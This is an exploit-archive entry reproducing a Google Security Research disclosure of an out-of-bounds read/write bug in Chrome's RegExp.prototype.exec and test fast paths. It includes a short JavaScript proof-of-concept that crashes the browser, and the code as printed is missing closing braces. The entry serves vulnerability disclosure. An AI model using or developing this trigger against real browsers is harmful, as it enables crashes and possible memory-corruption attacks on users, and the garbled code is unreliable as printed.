Google Chrome - Out-of-Bounds Access in RegExp Stubs Exploit

ID 1337DAY-ID-28068
Type zdt
Reporter Google Security Research
Modified 2017-06-30T00:00:00


Exploit for multiple platform in category dos / poc

                                            There is an out-of-bounds access in RegExp.prototype.exec and RegExp.prototype.test. The code defined in BranchIfFastRegExp checks whether a regular expression object has the default map, however, it is possible to alter the map after this check has been performed. This can cause inline fields, such as lastIndex to be changed to dictionary properties. This will cause out-of-bounds reads and writes the next time lastIndex is accessed on the fast path.
A minimal PoC is as follows, and two full PoCs (one for test and one for exec) are attached.
var re;
function f(){
    for(var i = 0; i < 100; i++){
        re["test" + i] = 0x77777777; // make a dict
return 0;
re = /-/g;
var str = '2016-01-02';
re.lastIndex = {valueOf : f};
result = re.exec(str);
This PoC crashes on google-chrome-beta on Linux.
Proof of Concept:

# [2018-01-05]  #